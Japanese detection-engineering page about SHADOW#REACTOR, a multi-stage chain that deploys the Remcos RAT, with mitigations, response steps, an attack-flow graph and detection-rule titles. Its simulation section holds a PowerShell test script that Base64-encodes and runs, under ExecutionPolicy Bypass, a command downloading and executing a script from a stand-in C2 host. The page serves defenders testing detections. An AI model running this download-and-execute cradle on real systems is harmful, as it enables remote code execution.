SHADOW#REACTOR – テキストオンリーステージング、.NETリアクター、インメモリーREMCOS RATデプロイメント
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
SHADOW#REACTORは、難読化されたVBSランチャー、PowerShellベースのダウンローダー、テキストのみのステージングアーティファクト、.NET Reactorで保護されたローダー、そしてMSBuild実行を組み合わせて最終的にRemcosリモートアクセス型トロイの木馬(RAT)を展開する多段階のWindowsマルウェアチェーンです。
調査
研究者たちは、攻撃者インフラストラクチャから取得したVBSスクリプトから始まり、ステージングされたテキストペイロードを再構築しデコードするPowerShellルーチンを経てそのフローを再構築しました。このチェーンは、.NETアセンブリのリフレクティブなメモリ内のロードと、最終的にMSBuildへの移行を続け、Remcos RATの実行をトリガーします。この記事では、テキストエンコードされたコンポーネント、復号ロジック、およびアクセスを維持するための持続性のある手法が記録されています。
緩和策
スクリプトホストおよびインタープリタの監視カバレッジを増やし、可能であればユーザー書き込み可能なパスからのVBS/PowerShellの実行を防ぎます。特定されたインフラストラクチャへの不審なアウトバウンドHTTPトラフィック、MSBuildの誤用、およびリフレクティブな.NETアセンブリロードの検出を追加します。実行キーの変更やショートカットベースのスタートアップエントリを含む共通の持続的なパターンを監視します。
対応策
SHADOW#REACTOR活動が確認された場合、エンドポイントを隔離し、プロセスチェーン全体(wscript.exe → powershell.exe → msbuild.exe)を終了させます。ステージングされたテキストファイルや関連するレジストリアーティファクトを削除し、Remcosバイナリおよび関連する構成データを削除することによって修復します。その後、追加の侵害を把握し、完全な根絶を確実にするために徹底的なフォレンジックレビューを実施します。
“graph TB %% Class Definitions Section classDef technique fill:#ffe699 classDef builtin fill:#cccccc classDef malware fill:#ff9999 %% Node definitions tech_user_execution[“<b>Technique</b> – <b>T1204.002 User Execution: Malicious File</b><br/><b>Description</b>: Victim runs a malicious file that launches code.”] class tech_user_execution technique tool_wscript[“<b>Tool</b> – <b>Name</b>: wscript.exe<br/><b>Description</b>: Windows Script Host used to execute VBScript files.”] class tool_wscript builtin tech_vbscript_interp[“<b>Technique</b> – <b>T1059.005 Command and Scripting Interpreter: Visual Basic</b><br/><b>Description</b>: Executes Visual Basic scripts on the host system.”] class tech_vbscript_interp technique tech_powershell_interp[“<b>Technique</b> – <b>T1059.001 Command and Scripting Interpreter: PowerShell</b><br/><b>Description</b>: Runs PowerShell commands and scripts.”] class tech_powershell_interp technique tech_http_comm[“<b>Technique</b> – <b>T1071.001 Application Layer Protocol: Web Protocols</b><br/><b>Description</b>: Uses HTTP/HTTPS to download payload fragments from remote servers.”] class tech_http_comm technique tech_obfuscation[“<b>Technique</b> – <b>T1027 Obfuscated Files or Information</b><br/><b>Description</b>: Payload is encoded with Base64, XOR and protected by .NET Reactor.”] class tech_obfuscation technique tech_reflective_loading[“<b>Technique</b> – <b>T1620 Reflective Code Loading</b> / <b>T1574.014 Hijack Execution Flow: AppDomainManager</b><br/><b>Description</b>: Loads a .NET assembly in memory via AppDomainManager hijacking.”] class tech_reflective_loading technique tool_msbuild[“<b>Tool</b> – <b>Name</b>: MSBuild.exe<br/><b>Description</b>: Trusted developer utility abused as a LOLBin to launch the final stage.”] class tool_msbuild builtin malware_remcos[“<b>Malware</b> – <b>Name</b>: Remcos RAT<br/><b>Description</b>: Remote access trojan used for command and control.”] class malware_remcos malware tech_shortcut_mod[“<b>Technique</b> – <b>T1547.009 Shortcut Modification</b><br/><b>Description</b>: Creates a LNK shortcut in the Startup folder to achieve persistence.”] class tech_shortcut_mod technique %% Connections showing attack flow tech_user_execution u002du002d>|executes via| tool_wscript tool_wscript u002du002d>|runs| tech_vbscript_interp tech_vbscript_interp u002du002d>|invokes| tech_powershell_interp tech_powershell_interp u002du002d>|downloads fragments via| tech_http_comm tech_http_comm u002du002d>|reconstructs payload| tech_obfuscation tech_obfuscation u002du002d>|loads in memory via| tech_reflective_loading tech_reflective_loading u002du002d>|uses| tool_msbuild tool_msbuild u002du002d>|launches| malware_remcos malware_remcos u002du002d>|may create| tech_shortcut_mod “
攻撃フロー
検出
LOLBAS WScript / CScript(process_creation経由)
表示
疑わしいPowershell文字列(powershell経由)
表示
オートスタート位置での疑わしいバイナリ/スクリプト(file_event経由)
表示
公共ユーザープロファイルでの疑わしいファイル(file_event経由)
表示
公共ユーザープロファイルからの疑わしい実行(process_creation経由)
表示
Powershellからの疑わしい.NETメソッドの呼び出し(powershell経由)
表示
IOCs(HashSha256): SHADOW#REACTORの検出 – テキストのみのステージング、.NET REACTOR、メモリ内Remcos RAT展開
表示
IOCs(SourceIP): SHADOW#REACTORの検出 – テキストのみのステージング、.NET REACTOR、メモリ内Remcos RAT展開
表示
IOCs(DestinationIP): SHADOW#REACTORの検出 – テキストのみのステージング、.NET REACTOR、メモリ内Remcos RAT展開
表示
SHADOW#REACTOR感染チェーンの検出[Windowsプロセス作成]
表示
ExecutionPolicyバイパスと難読化されたPowerShellコマンドの検出[Windows Powershell]
表示
シミュレーション実行
前提条件: テレメトリ & ベースラインの予備チェックが合格している必要があります。
動機: このセクションは、検出ルールをトリガーするために設計された敵のテクニック (TTP) の正確な実行を詳細に説明します。コマンドと説明は、識別されたTTPを正確に反映し、検出ロジックが予期する特定のテレメトリーを生成することを目指しています。
-
攻撃の物語とコマンド:
限定的な横への移動権限しか持たない攻撃者が、一般的なスクリプト・ブロッキングの防御を回避しながら、妥協したWindowsホスト上で遠隔ペイロードを実行しようとしています。彼らはPowerShellを使用して-ExecutionPolicy Bypassを使用して実行ポリシーの制限を無視します。マルウェアペイロードは、Base64エンコードされた文字列として難読化されており、デコードされるとSystem.Net.WebClientオブジェクトを作成してC2サーバーからPowerShellスクリプトをダウンロードし、それを実行します。この組み合わせは、すべての3つの検出基準(ExecutionPolicy Bypass,FromBase64String,System.Net.WebClient). -
回帰テストスクリプト:
#-------------------------------------------- # シミュレートされた悪意のあるPowerShell実行 #-------------------------------------------- # 1. シンプルなリモートスクリプトを作成(デモ用) $remoteScript = 'Invoke-Expression (New-Object System.Net.WebClient).DownloadString("http://{C2_HOST}/payload.ps1")' # 2. スクリプトをBase64でエンコード $bytes = [System.Text.Encoding]::Unicode.GetBytes($remoteScript) $b64 = [Convert]::ToBase64String($bytes) # 3. ExecutionPolicy BypassとFromBase64Stringで実行 PowerShell -ExecutionPolicy Bypass -Command " $decoded = [System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('$b64')); Invoke-Expression $decoded " -
クリーンアップコマンド:
# ダウンロードされたペイロードを削除し、残ったPowerShellプロセスを停止 Get-Process -Name powershell | Where-Object {$_.StartInfo.Arguments -match 'ExecutionPolicy Bypass'} | Stop-Process -Force Remove-Item -Path "C:Temppayload.ps1" -ErrorAction SilentlyContinue